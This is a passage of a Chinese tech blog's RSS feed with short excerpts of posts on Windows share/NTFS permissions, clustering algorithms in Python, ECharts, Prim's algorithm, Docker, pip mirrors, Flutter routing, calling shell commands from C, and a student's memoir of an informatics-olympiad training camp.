Share权限顾名思义管理的是通过网络去访问特定资源时候的规则，对于本地用户无效。同时规则比较简单，并不能做细颗粒的设置。不过不受文件系统的限制，不管是NTFS或者FAT和FAT32文件系统。&#xA;在文件或者文件夹上右键，查看属性。点击Sharing页签下的Advanced Sharing&#xA;然后点击Permissions&#xA;就可以查看该对象的Share权限了&#xA;对比 Share权限比较简单，NTFS权限比较细致。所以通常来说是将Share权限全开，然后用NTFS来进行管理如果Share权限和NTFS权限同时存在，那么更严格的那个会覆盖比较宽松的。例如Share权限允许所有人只读权限，同时NTFS权限允许所有人修改权限，因为Share权限更严格，所以用户在网盘上只有读的权限如果文件系统是FAT或者FAT32，那么NTFS权限是不可以使用的NFTS权限对本地登陆的用户也有效，但是Share权限对本地用户无效Share权限可以用来限制同时访问一个共享文件夹的数目（在上面Share权限的第二张图里面设置Limit the number of simultaneous users to），但是NTFS权限没有这个功能 在下面的操作中，我会将Share权限设置为所有人有全部权限，然后利用NTFS权限去进行管理&#xA;准备条件 已经加入域的Windows server 2012 R2一台，且按照上一节方式成功完成了分享功能 这里加域是为了统一管理文件分享权限，你可能会需要在域里面有这台服务器的本地管理员权限才能进行后续操作。关于域的使用我后面会专门做一个系列进行详细介绍。&#xA;实际操作 我因为在海外工作，操作系统为英文，所以截图大部分会出现英文，但是界面布局和中文系统是一样的。&#xA;1. 进入文件分享的属性 点击服务器主页的File and Storage Service，然后点击Shares，在需要修改权限的分享上点击右键，选择Properties&#xA;2. 自定义权限 选择Permissions，可以看到我这个文件夹对于用户tester以及管理员都具有Full Control的权限，这是非常危险的，因为tester用户可以做很多危险操作，例如删除文件夹。点击下面的Customize permissions进行自定义设置&#xA;3. 编辑NTFS权限 这里的Permissions就是对NTFS权限的设置，Share就是对Share权限的设置。Share权限里面保持对Everyone的Full Control即可，只是在NTFS权限里面进行修改。例如如果要对tester用户的权限进行修改，选择tester用户，然后点击下面的edit&#xA;4. NTFS权限 这里展示的只是NTFS的6个基本权限，前面说过NTFS可以进行高颗粒度的配置，点击右边的Show advanced permissions进入高级选项</description>
    </item>
    <item>
      <title>k-prototypes聚类算法</title>
      <link>https://bchobby.github.io/posts/43486004971de7ffc8d01a63bd8b6baa/</link>
      <pubDate>Sun, 08 Dec 2019 19:54:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/43486004971de7ffc8d01a63bd8b6baa/</guid>
      <description>引言 数据变量为单一的数值型和单一的类别型的聚类算法之前都已经介绍过了，但是实际的数据大多数是数值型和类别型变量混合。针对混合型变量的数据，采用k-prototypes算法进行聚类。&#xA;k-prototypes算法 k-prototypes算法在聚类的过程中，是将数据的数值型变量和类别型变量拆开，分开计算样本间变量的距离，再将两者相加，视为样本间的距离。&#xA;k-prototypes聚类的准则就是使用一个合适的损失函数去度量数值型和分类变量对原型的距离；&#xA;k-prototypes算法步骤：&#xA;1.随机选取k个初始原型(中心点)；&#xA;2.针对数据集中的每个样本点，计算样本点与k个原型的距离（数值型变量计算欧氏距离，类别型变量计算汉明距离），将样本点划分到离它最近的中心点所对应的类别中；&#xA;3.类别划分完成后，重新确定类别的原型，数值型变量样本取值的均值作为新的原型的特征取值，类别型变量样本取值的众数作为新的原型的特征取值；&#xA;4.重复步骤2 3，直到没有样本改变类别，返回最后的聚类结果。&#xA;算法总结：&#xA;1）基于“众心”和“质心”的聚类方法；&#xA;2）数值型变量和类别型变量混合数据聚类方法。&#xA;python实现 #加载所需模块 import numpy as np import pandas as pd from kmodes.kprototypes import KPrototypes %matplotlib inline import matplotlib.pyplot as plt import seaborn as sns from sklearn import preprocessing #数据预处理 data_num = data[[&#39;aa&#39;,&#39;bb&#39;]] data_cat = data[[&#39;cc&#39;,&#39;dd&#39;]] le = preprocessing.LabelEncoder() data_cat = data_cat.apply(le.fit_transform) #类别型变量如果不是数值，需要先做LabelEncode data[columns_to_normalize] = data[columns_to_normalize].apply(lambda x: (x - x.mean()) / np.std(x)) #数值型变量做标准化处理，类别型变量如果不是数值，需要先做LabelEncode data = data.values #转化为数组 #模型训练不同的类别数对应的SSE及模型 def TrainCluster(df, model_name=None, start_k=2, end_k=20): print(&#39;training cluster&#39;) #df = StandardScaler().</description>
    </item>
    <item>
      <title>k-modes聚类算法</title>
      <link>https://bchobby.github.io/posts/3e86675a5828046eb632dda89409d639/</link>
      <pubDate>Sun, 08 Dec 2019 19:29:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3e86675a5828046eb632dda89409d639/</guid>
      <description>引言 之前介绍的K-means和k-medoids算法都是针对数据为数值型的聚类算法，计算样本间的距离采用的是欧式距离，所以如果数据变量是类别型的采用这两种算法，就需要先进行one-hot编码或者dummy coding。针对类别型变量的聚类，可以采用k-modes聚类算法。&#xA;k-modes算法 当数据变量为数值型时，可以采用k-modes算法进行聚类。因为该算法中计算的是样本间的汉明距离，如果变量取值不是数值，最好先进行LabelEncode，计算速度会更快。&#xA;k-modes算法步骤：&#xA;1.随机选取k个初始中心点；&#xA;2.针对数据集中的每个样本点，计算样本点与k个中心点的距离（这边计算的是汉明距离，为两个样本点不同的属性取值的个数），将样本点划分到离它最近的中心点所对应的类别中；&#xA;3.类别划分完成后，重新确定类别的中心点，将类别中所有样本各特征的众数作为新的中心点对应特征的取值，即该类中所有样本的众心；&#xA;4.重复步骤2 3，直到总距离（各个簇中样本与各自簇中心距离之和）不再降低，返回最后的聚类结果。&#xA;算法总结：&#xA;1）基于“众心”的聚类方法；&#xA;2）数据变量为类别型的聚类方法；&#xA;3）时间复杂度低于K-means和K-medoids聚类；&#xA;python实现 #加载所需模块 from kmodes import kmodes import multiprocessing import matplotlib.pyplot as plt from sklearn.metrics import silhouette_score #模型训练不同的类别数对应的SSE及模型 def TrainCluster(df, start_k=2, end_k=20): print(&#39;training cluster&#39;) K = [] SSE = [] silhouette_all = [] models = [] #保存每次的模型 for i in range(start_k, end_k): kmodes_model = kmodes.KModes(n_clusters=i, n_jobs=multiprocessing.cpu_count()) kmodes_model.fit(df) a = metrics.silhouette_score(df, kmodes_model.labels_, metric=&#39;hamming&#39;) SSE.append(kmodes_model.cost_) # 保存每一个k值的SSE值 K.</description>
    </item>
    <item>
      <title>k-medoids聚类算法</title>
      <link>https://bchobby.github.io/posts/6bf769a6603e8ee628b98b061c546522/</link>
      <pubDate>Sun, 08 Dec 2019 17:25:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6bf769a6603e8ee628b98b061c546522/</guid>
      <description>引言 上一篇博客介绍了k-means聚类算法，该算法虽然高效快速，但却受异常点的影响严重，如果样本中存在异常点，则聚类结果会产生极大的偏差。针对异常点对聚类结果的影响，本文介绍k-medoids聚类算法，k-medoids算法能有效削弱异常点的影响。&#xA;k-medoids算法 k-mediods每次选取的中心点，必须是样本点，而 k-means每次选取的中心点可以是样本点之外的点，就好比中位数和平均值的区别；&#xA;k-medoids算法步骤：&#xA;1.任意选取k个初始中心点medoids；&#xA;2.按照与medoids最近的原则，将剩余点分配到当前最佳的medoids代表的类中;&#xA;3.在每一类中，计算每个样本点与其他点的距离之和，选取距离之和最小的点作为新的medoids;&#xA;4.重复2-3的过程，直到所有的medoids点不再发生变化，或已达到设定的最大迭代次数;&#xA;k-medoids算法选取簇中心点的准则函数是:当前簇中所有其他点到该中心点的距离之和最小，所以需要遍历簇中所有点；&#xA;算法总结&#xA;1）基于“代表对象”的聚类方法；&#xA;2）数据变量为数值型的聚类算法；&#xA;3）异常点不会严重影响聚类结果；&#xA;4）时间复杂度高于k-means算法。&#xA;python实现 #加载所需模块 import numpy as np from numpy import * import sys from sklearn import metrics from sklearn.preprocessing import StandardScaler import pandas as pd import matplotlib.pyplot as plt # 定义欧式距离的计算 def func_of_dis(x, y): return np.sqrt(sum(np.square(x - y))) #k-medoids算法实现 def KMedoids(df, k_num_center): &#34;&#34;&#34; 选定好距离公式开始进行训练 :param df:样本数据，pd.DataFrame类型 :param k_num_center:类别数 &#34;&#34;&#34; print(&#39;初始化&#39;,k_num_center, &#39;个中心点&#39;) data = df.values #data = StandardScaler().</description>
    </item>
    <item>
      <title>ECharts y轴坐标均分，且最小值不出现小数</title>
      <link>https://bchobby.github.io/posts/a0f15ded02975dc98d458befcf5c29aa/</link>
      <pubDate>Sat, 07 Dec 2019 11:49:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a0f15ded02975dc98d458befcf5c29aa/</guid>
      <description> yAxis: { max:value =&amp;gt; { if (value.max &amp;lt; 10) { return 10; } let max = value.max; let val = max / 5; const round = true; const exponent = Math.floor(Math.log(val) / Math.LN10); const exp10 = Math.pow(10, exponent); const f = val / exp10; // 1 &amp;lt;= f &amp;lt; 10 let nf; if (round) { if (f &amp;lt; 1.5) { nf = 1; } else if (f &amp;lt; 2.5) { nf = 2; } else if (f &amp;lt; 4) { nf = 3; } else if (f &amp;lt; 7) { nf = 5; } else { nf = 10; } } else { if (f &amp;lt; 1) { nf = 1; } else if (f &amp;lt; 2) { nf = 2; } else if (f &amp;lt; 3) { nf = 3; } else if (f &amp;lt; 5) { nf = 5; } else { nf = 10; } } val = nf * exp10; return val*5; }, } </description>
    </item>
    <item>
      <title>C&#43;&#43;之最小生成树算法（Prim）</title>
      <link>https://bchobby.github.io/posts/fb5ecbb7f87f6b3c504b375fbc59234f/</link>
      <pubDate>Fri, 06 Dec 2019 23:24:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fb5ecbb7f87f6b3c504b375fbc59234f/</guid>
      <description>在讲述Prim算法之前让我们先了解一下什么是最小生成树？以下是我摘自维基百科： 最小生成树是一副连通加权无向图中一棵权值最小的生成树。 在一给定的无向图 G = (V, E) 中，(u, v) 代表连接顶点 u 与顶点 v 的边（即 {(u,v)\in E}(u,v)\in E），而 w(u, v) 代表此边的权重，若存在 T 为 E 的子集 且 (V, T) 为树，使得 {w(T)={(u,v)\in T}w(u,v)}w(T)=\sum _{(u,v)\in T}w(u,v) 的 w(T) 最小，则此 T 为 G 的最小生成树。 最小生成树其实是最小权重生成树的简称。 通俗点讲就是：我们用线段把图所有的顶点进行连接，连接时不能产生圈，并且所有边权值的和为最小。因此我们可知，最小生成树可能不是唯一的。 今天我们先来讲述最小生成树的其中的一种算法：Prim算法。 Prim算法的思想（摘自维基百科）： Prim算法的每一步都会为一棵生长中的树添加一条边，该树最开始只有一个顶点，然后会添加V-1个边。每次总是添加生长中的树和树中除该生长的树以外的部分形成的切分的具有最小权值的横切边。 什么意思呢？通俗点说就是我们选择一个root顶点，然后让其慢慢的生成一个树，也就是给其加边，每次加边时所选择的root顶点是来自于其前一个顶点，直到图中的所有顶点加到树上。Prim算法的核心思想其实是贪婪算法，与Dijkstra的算法思想一样，其实现几乎也是一模一样的哦~。在Dijkstra算法里面dis的作用是存储起始顶点到访问顶点的最小权值，对它进行更新，维护。但是Prim算法就不一样了哦~为什么呢？前面我们提到过，我们贪婪的选择最小的边生成一颗树。因此Prim算法里面dis的作用是存储未知顶点到已知顶点的权值。还有一个重要点：加入的边的数量比顶点数少一哦~~ Prim的核心代码： void Graph::Prim(size_t v) { verptr-&amp;gt;disweight[v] = 0; size_t count = 0; while (count!=verptr-&amp;gt;vertexnumber-1) { size_t min = Infinity; for (int i = 0; i &amp;lt; verptr-&amp;gt;vertexnumber; ++i) { if (verptr-&amp;gt;visited[i] == false &amp;amp;&amp;amp; min &amp;gt; verptr-&amp;gt;disweight[i]/*选择边数里最小的权值*/) { min = verptr-&amp;gt;disweight[i]; v = i; } } verptr-&amp;gt;visited[v] = true; //对顶点进行标记 ++count; //对增加的边数进行更新 auto beg = lists[v].</description>
    </item>
    <item>
      <title>docker从容器里面拷文件到宿主机或从宿主机拷文件到docker容器里面</title>
      <link>https://bchobby.github.io/posts/f48814e710903ba5d0c8f25bc8b13125/</link>
      <pubDate>Fri, 06 Dec 2019 10:16:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f48814e710903ba5d0c8f25bc8b13125/</guid>
      <description>1、从容器里面拷文件到宿主机？&#xA;答：在宿主机里面执行以下命令&#xA;docker cp 容器名：要拷贝的文件在容器里面的路径 要拷贝到宿主机的相应路径 示例： 假设容器名为testtomcat,要从容器里面拷贝的文件路为：/usr/local/tomcat/webapps/test/js/test.js, 现在要将test.js从容器里面拷到宿主机的/opt路径下面，那么命令应该怎么写呢？&#xA;答案：在宿主机上面执行命令&#xA;1&#xA;docker cp testtomcat：/usr/local/tomcat/webapps/test/js/test.js /opt&#xA;2、从宿主机拷文件到容器里面&#xA;答：在宿主机里面执行如下命令&#xA;docker cp 要拷贝的文件路径 容器名：要拷贝到容器里面对应的路径&#xA;示例：假设容器名为testtomcat,现在要将宿主机/opt/test.js文件拷贝到容器里面的/usr/local/tomcat/webapps/test/js路径下面，那么命令该怎么写呢？&#xA;答案：在宿主机上面执行如下命令 1&#xA;docker cp /opt/test.js testtomcat：/usr/local/tomcat/webapps/test/js</description>
    </item>
    <item>
      <title>Selenium&#43;Python 解决Chrome正在受到自动软件的控制的办法（V78版本有效）</title>
      <link>https://bchobby.github.io/posts/443cbecb4928b2ab1ea99bdbf4e659d4/</link>
      <pubDate>Thu, 05 Dec 2019 16:38:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/443cbecb4928b2ab1ea99bdbf4e659d4/</guid>
      <description>from selenium import webdriver option = webdriver.ChromeOptions() option.add_experimental_option(&#39;useAutomationExtension&#39;, False) option.add_experimental_option(&#34;excludeSwitches&#34;, [&#39;enable-automation&#39;]) browser = webdriver.Chrome(r&#39;d:\chromedriver.exe&#39;,chrome_options=option) url = &#34;https://toefl.neea.cn/login&#34; browser.get(url) 此方法针对V78版本及以上有效，同时可以解决部分网站白屏的问题。</description>
    </item>
    <item>
      <title>pip无法卸载PyYaml的问题解决</title>
      <link>https://bchobby.github.io/posts/50aa92d40dc267108a2ea8d8c1e2a3d7/</link>
      <pubDate>Thu, 05 Dec 2019 15:12:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/50aa92d40dc267108a2ea8d8c1e2a3d7/</guid>
      <description>在pycharm去卸载PyYaml无法卸载，利用com命令 pip uninstall PyYaml也是卸载不成功。&#xA;第一步：去C:\Python35\Lib\site-packages目录下把yaml库的所有文件都删除，再执行pip uninstall PyYaml命令&#xA;第二步：再重新安装pip install PyYaml&#xA;安装成功（之前是3.0版本，现在是PyYaml-5.2版本）</description>
    </item>
    <item>
      <title>升级pip超时问题解决</title>
      <link>https://bchobby.github.io/posts/764ebcb8c89c01918d49a1bc239135c1/</link>
      <pubDate>Thu, 05 Dec 2019 11:42:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/764ebcb8c89c01918d49a1bc239135c1/</guid>
      <description>升级pip时用下面的命令升级不成功，如图：&#xA;python -m pip install --upgrade pip&#xA;这个命令时都是time out ，如下情况：&#xA;解决方法，使用镜像源，我这里采用的是豆瓣镜像源，&#xA;命令行：python -m pip install --upgrade pip -ihttp://pypi.douban.com/simple --trusted-host pypi.douban.com&#xA;升级成功，从pip-18.0变成了pip-19.3.1&#xA;安装第三方包时，如若超时，也可采用换源的方法&#xA;pip国内的一些镜像&#xA;阿里云 http://mirrors.aliyun.com/pypi/simple/&#xA;中国科技大学 https://pypi.mirrors.ustc.edu.cn/simple/&#xA;豆瓣(douban) http://pypi.douban.com/simple/&#xA;清华大学 https://pypi.tuna.tsinghua.edu.cn/simple/&#xA;中国科学技术大学 http://pypi.mirrors.ustc.edu.cn/simple/&#xA;修改源方法：&#xA;临时使用：&#xA;可以在使用pip的时候在后面加上-i参数，指定pip源&#xA;eg: pip install scrapy -i https://pypi.tuna.tsinghua.edu.cn/simple</description>
    </item>
    <item>
      <title>史上最强低功耗无线唤醒芯片</title>
      <link>https://bchobby.github.io/posts/b7cf8c686e19d10c438b86c7cebe2e83/</link>
      <pubDate>Thu, 05 Dec 2019 10:45:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b7cf8c686e19d10c438b86c7cebe2e83/</guid>
      <description>先贴出文章来源，霸气的JSSC期刊登出的史上最强低功耗无线唤醒芯片&#xA;“A 22.3 nW, 4.55 cm2 Temperature-Robust Wake-up Receiver Achieving a Sensitivity of -69.5 dBm at 9 GHz” by Haowei Jian, Po-Han Peter Wang, Li Gao, Corentin Pochet, Gabriel M. Rebeiz, Drew A. Hall and Patrick P. Mercier, IEEE Journal of Solid-State Circuits. DOI: 10.1109/JSSC.2019.2948812&#xA;牛逼的关键点：&#xA;1、处于接收状态的等待唤醒功耗仅为22.3nW，相当于LED照明功耗的50万分之一。&#xA;2、接收特定信号频率高达9GHz，使得天线和片外电路尺寸大大减小。以前的nW级无线唤醒芯片都在MHz级别，可想而知其片外天线尺寸大出近20倍。&#xA;3、稳定工作温度从-10摄氏度到40摄氏度！这是以前的芯片办不到的！&#xA;不足的地方：从接收到信号，到唤醒动作完成需要540毫秒。</description>
    </item>
    <item>
      <title>Flutter学习记录——13.路由详解</title>
      <link>https://bchobby.github.io/posts/ce20c37b98a99ddc3410f77e068f5351/</link>
      <pubDate>Wed, 04 Dec 2019 17:31:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ce20c37b98a99ddc3410f77e068f5351/</guid>
      <description>文章目录 1.Flutter路由基础2.Navagator和Route基本用法详解3.页面跳转及传递参数4.总结 1.Flutter路由基础 在 Flutter 中路由也是主要用来处理页面跳转、页面数据传递等操作。Flutter 的路由主要通过路由（Route）和导航器（Navigator）配合使用。Navigator 主要负责路由页面的堆栈管理和操作，例如添加跳转页面、移除页面等。&#xA;在 Flutter 中路由用法主要有两种用法：一种是在 MaterialApp 里的 routes 参数里配置定义好路由列表，也就是提前定义好要跳转的页面和名称。&#xA;Map&amp;lt;String, WidgetBuilder&amp;gt; routes； 先定义路由跳转路径：&#xA;return MaterialApp( title: &#39;Flutter Demo&#39;, theme: ThemeData( primarySwatch: Colors.teal, ), home: ShowAppPage(), // 定义路由表 routes: &amp;lt;String, WidgetBuilder&amp;gt;{ &#39;/buttonpage&#39;: (BuildContext context) { return ButtonSamples(); }, &#39;/routepage&#39;: (BuildContext context) { return RouteSamples(); }, }, ); // 当然，为了简洁，我们可以用lambda简写路由注册 routes: &amp;lt;String, WidgetBuilder&amp;gt;{ &#39;/buttonpage&#39;: (BuildContext context) =&amp;gt; ButtonSamples(), &#39;/routepage&#39;: (BuildContext context) =&amp;gt; RouteSamples(), }, 主要规则就是前面定义一个路由页面名称，后面定义路径。</description>
    </item>
    <item>
      <title>tf.map_fn报错记录</title>
      <link>https://bchobby.github.io/posts/f8811a0b050a32a6d5910ce08d82d314/</link>
      <pubDate>Wed, 04 Dec 2019 16:23:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f8811a0b050a32a6d5910ce08d82d314/</guid>
      <description> tf.map_fn报错 ValueError: The two structures don&#39;t have the same nested structure 错误代码处如下：&#xA;#函数,需要两种tensor的输入,输出一个tensor def fun(elems): input_0,input_1= elems ..... return result #调用 result= tf.map_fn(fun, (input_0,input_1)) 原因：map_fn调用的函数fun，其返回类型与输出elems不一样(包括输入与返回tensor的数量)时，需要指定dtype参数，确定输出类型。&#xA;上述代码改正后如下：&#xA;result= tf.map_fn(fun, (input_0,input_1),dtype=tf.float32) </description>
    </item>
    <item>
      <title>Linux C 程序执行shell命令并获取返回值结果的方法</title>
      <link>https://bchobby.github.io/posts/3b80af2d17851a8479f49aa05c19bbac/</link>
      <pubDate>Wed, 04 Dec 2019 13:42:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3b80af2d17851a8479f49aa05c19bbac/</guid>
      <description>据说有统计数据表明，代码的缺陷率是一定的，与所使用的语言无关。Linux提供了很多的实用工具和脚本，在程序中调用工具和脚本，无疑可以简化程序，从而降低代码的缺陷数目。Linux shell 脚本也是一个强大的工具，我们可以根据需要编制脚本，然后在程序中调用自定义脚本。&#xA;《Unix 编程艺术》中有一句话“一行 Shell 脚本胜过万行 C”。那么在 Linux 编程中，C 程序如何调用 shell 命令，又如何获取该命令的返回结果呢？下面我们一起来看一下吧。&#xA;1.调用 shell 命令 一般来说，在 Linux 系统中使用 C 程序调用 shell 命令有以下三种常见的方法：system()、popen()、exec 系列函数。&#xA;使用 system() 不需要用户再创建进程，因为它已经封装好了，直接加入 shell 命令即可；使用 popen() 执行 shell 命令，其开销比 system() 小；exec 需要用户 fork/vfork 进程，然后 exec 所需的 shell 命令。 1.1 system() 函数原型&#xA;int system(const char *command); 函数说明&#xA;system() 会调用 fork() 产生子进程，由子进程来调用 /bin/sh -c string 来执行参数 string 字符串所代表的命令，此命令执行完后随即返回原调用的进程。在调用 system() 期间 SIGCHLD 信号会被暂时搁置，SIGINT 和 SIGQUIT 信号则会被忽略。&#xA;返回值&#xA;如果 system()在 调用 /bin/sh 时失败则返回 127，其他失败原因返回 -1。若参数 string 为空指针（NULL），则返回非零值。如果 system() 调用成功则最后会返回执行 shell 命令后的返回值，但是此返回值也有可能为 system() 调用 /bin/sh 失败所返回的 127，因此最好能再检查 errno 来确认执行成功。</description>
    </item>
    <item>
      <title>OI退役记，第二部分，八十中记事</title>
      <link>https://bchobby.github.io/posts/e554612db8ff13d8a0259f395b2de4bf/</link>
      <pubDate>Tue, 03 Dec 2019 21:39:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e554612db8ff13d8a0259f395b2de4bf/</guid>
      <description>我不想让这个世界燃烧， 我只是想点燃， 你心中的一束火焰。 我已经失去了， 得到赞誉的野心。 我只想达到， 我一直追求的目标， 相信我。 ——《I Don’t Want To Set The World On Fire》，美国墨点乐队&#xA;北京的冬天真冷。这是我们下飞机之后的第一感受。两年前雾霾还没有治理好，机场的天空灰蒙蒙的，冷风在跑道上刮个不停，打在脸上跟刀子一个样。不过，就像每一个到北方去的南方人一样，我们对这一切早有心理准备，因此早在双流机场就换上了厚实的大衣或羽绒服。还没有走出首都机场，我们就领略了北京的特色所在：&#xA;一，室内有暖气。早听说北方集中供暖的种种好处，直到现在方才亲身领略。在供暖运行良好的地方，房间里只需披一件长袖。关于这一点，我们在宿舍里会有更深的体会。&#xA;二，这是在几天内逐渐确定下来的：不论男女老少，大街小巷，即使在八十中里面，绝大部分人都说一口流利的京片子。之后我向宿管老师们问起这一点，她们异口同声地回答我：“这就是普通话啊？”在这地儿待了一周，我们都学会了往话里的词儿后面加儿化音，这可算在额外收获里面。&#xA;言归正传。在连腿都打不直的机场巴士上颠簸了快一个小时，又顶着寒风在北京的街道上走了二十分钟，八十中嵌在教学楼上的校训方才映入我们的眼帘。我满心以为我们会先到宿舍去好生坐一会休息一下，结果来迎接的刘老师直接把我们带到科技楼里面去。机房里坐着几位八十中的同学，但空座位很多，于是我们可以自己挑选位置——然后我就坐在了第一排的正中间。有人会说这是我为数不多的优点之一，不过实际上当时我只是想尽快找个位置坐下来，因为我快要给冻死了。一个八十中的同学正坐在我旁边，他看起来不像是高中生，之后我们的交谈证实了这一点。这位同学名叫cjr，是八十中初三的学生，他告诉我说他也参加了今年的NOIP。我想起自己初三的无聊生活，不禁为此扼腕叹息。在当天下午剩下的几个小时里，我感慨人生，调编译器，上网看题解，最后总算让自己暖和了起来。五点三十分，趁着下楼吃晚饭的空档，我大致分辨了一下八十中校内的地形：&#xA;从科技楼走出来，是一片巨大的圆形广场——成都七中的主教学楼放在里面都还绰绰有余。广场中间是圆形的花坛，四周有公告板和长凳，正北方的一条大道通向学校大门口，大道两旁分别是科技楼和教学楼。沿着大道看去，是一座两层台阶之上的大学术厅，之后办CTSC和APIO时就在这里面颁奖。学术厅两侧各有一条辅道，左边通向食堂和宿舍，右边则是侧门。从面积来看，八十中估计有七中的两倍大。我们到的当天是星期六，校园内很空旷，一行人的说话声激不起什么波澜，因此我们走得很快，行色匆匆。&#xA;吃过晚饭已无人再有心回机房。我们问刘老师学校里有没有小卖部，他抱歉地说周末不开张，但学校附近——两公里之内有一所家乐福超市，生活必需品只能去那里购买。后来这地方成为了我们唯一的补给点。我们去买了诸如拖鞋，插线板之类的日用杂物，每人还各自挑了些零食，lxl甚至买了几瓶两升装的可乐（后来和他同寝的cdsf告诉我他一天喝一瓶）。长途跋涉回到寝室，铺好床，脱掉羽绒服和棉鞋，坐上床，打开笔记本，把NOIP成绩抛到脑后，上天与我何加哉？正如上文所述，这时我又体会到了暖气的另一重优点：在成都这样的地方，到了冬天，要是坐在机房里面，非得严严实实地裹好，把窗子关严，开启空调，才不致于冻得神志不清；晚上睡觉的时候就更不得了了，必须穿上秋裤，盖三层被子：最里面的用身体压紧，防止半夜翻身漏风；中间一层厚被保暖；外面一块毛毯，用来配重御寒。而要是有了暖气，以上诸多不便尽皆可以省去：坐在机房里面连毛衣都用不着穿，而睡觉的时候只需要一层轻盈厚实的棉被，即使漏风也没有关系——寝室里的空气是暖和的啊。在北京过了几天好日子，回到成都真有点不习惯。&#xA;和我一个寝室的同学们也有这样的感觉。由于高一去的人较少，因此我们是打乱了入住的。我们这个寝室只有我和wxh两个高一学生，剩下四位高二的同学：小胖（上一篇提到过。实际并不胖，只是脸很圆），ziliuziliu（我跟他不熟），cyz（在那之后不久就退役了），cx（比小胖更胖）。第一天晚上我们没有太多交流。大家十一点过就关灯睡觉了，比后面几天要早得多。躺在宿舍的床上，听见外面草丛里的蛐蛐叫，看着月光把栏杆的影子投在地上，这样的冬夜实难再找出第二份。&#xA;到得第二天，集训才真正开始。八十中请来的讲师个个都是前几届鼎鼎大名的选手。第一位来给我们上课的是pty，出自湖南师大附中，四个月后我们在他的母校听了他的第二次讲课，结果他两次讲图论用的是一模一样的PPT，由此现场有点尴尬。但他在八十中讲的第一次课倒是别开生面。由于坐在第一排正中间的缘故，我两天内三次被点起来回答问题——不过这还有一半原因得归功于我那些就算知道怎么做也绝不举手的同学们。以我个人当时的水平而言，在尽心竭力地听完前几张讲义之后就对后面的内容一窍不通了。直到又一个年头过去，2017年的十二月份，我才真正有能力把从前参加过的集训里的资料和讲义分门别类一点点地学完。值得庆幸的是，pty抽我回答的都是诸如“欧拉回路的定义”或者“树的重心怎么求”之类的简单问题，复杂一点的问题要么他直接讲解，要么会有后面的wxh自告奋勇，或者pty点起一个高二同学解决之。他的每一道题都标注了详细的来源，之后我才知道这是一种多么宝贵的品质。 ……前两天没有出NOIP的成绩，我和cjr的期望落了空。我试着用北京话和他聊天，他认为我说的相当好。我从他那里学了几个名词，在食堂和宿舍试验了一下，竟然没人感到奇怪。有一点令我不解的是，每次我在cdsf面前说北京话，他脸上的表情都会在几秒钟内转为忍不住的大笑。我问他为什么，他回答我：“一听到你说的北京话，我就想起来九班的数学老师。”数学老师名叫吴承浩，在北京待过几年，从此以后只说掺了成都口音的北京话，他的发音中有一种奇特的幽默感。我好生想了想，的确有那么几分相似，于是从此我不在本校同学面前说北京话。 pty走了之后来的是七中的学长们，mhy12345和zhonghaoxi。或许正是因为他们在八十中先后讲课的缘故，我经常把他们两个人搞混。他们两个人讲的东西我现在只记得一个——插头dp。我不知道自己出于一种什么样的勇气，非要把这东西学会。我看网上的代码，读《入门导论》上的讲解，学陈丹琦的ppt，花了整整三天的听课时间摸索，好不容易会写插头了。后来我才知道我达成了一个奇特成就：在学会状压dp之前会写插头dp。这件事在当时给了我不小的信心：我并不是一个太笨的人。别人能学会，能写出来的东西，我也能办到。稍微有点遗憾的是，在我两年的OI生涯中，这东西只考过一次。 ……之后的三天，CCF的官方网站仍然空空如也，挂在首页的还是一成不变的“NOIP2016报名网址”。pkl也在关注成绩，她感到很遗憾。这是八十中学OI的妹子，比cjr还小一个年级，也就是说她当时初二——幸亏当时我不了解这一点，还以为她和我们一样高一，否则我不知得有多伤心。初二的时候我还在学c++语法，连swap都不会实现，最后被&amp;gt;=和&amp;lt;=劝退了，直到初三下半期才重新捡起来。 集训的日子所剩无几。这五天里我们的生活节奏一成不变：早上七点过，从宿舍的床上爬起来，顶着脸上的寒风从宿舍走到食堂去吃早餐——多半是油条加上包子，豆浆一类，味道还挺不错——再穿过圆形广场到科技楼去——后面几天我们才发现可以直接穿过教学楼绕道科技楼，不必在广场上吹冷风——然后开始上课。前几天的晚自习我们还会在机房待上一两个小时，后来一吃完晚饭，我们就直接走回宿舍，坐在床上享受暖气了。每天晚上十点过，wxh搓炉石（机房里有一半人都会玩这游戏）；cx和小胖玩gal；ziliuziliu的电脑主板坏了，因此他只能拿手机上网；cyz打文明，我则推MO。寝室里的睡觉时间也越来越晚，从十一点半到十二点最后到十二点二十。 真正的转机在第六天。当天给我们上课的是来自THU交叉信息研究院的毕克大爷，他自我介绍是“毕恭毕敬，克勤克让”。刚开始上课，我们就体会到了这位大爷和其他人的不同之处：前几天讲课的PPT我还能看那么几页，他的讲义我一页都看不懂。正当我对着屏幕上一行行奇形怪状的数学公式无所适从的时候，旁边的cjr戳了戳我的肩膀，我问他有什么事。 他告诉我说成绩出来了。 我差点从凳子上跳起来。两秒钟之后我已经打开了CCF的官网，果不其然，首页上多了一句举重若轻的“NOIP2016提高组一等奖名单”。我点开链接，跳到四川省一栏的最下面去看分数线。最低分是255分，但255分的人当中并没有我。 于是我一目十行的往上看，最后在一个不起眼的位置看到了自己的名字： CCF-NOIP2016-1601 SC-0408 四川 徐西岭 男 275 成都市第七中学 高一 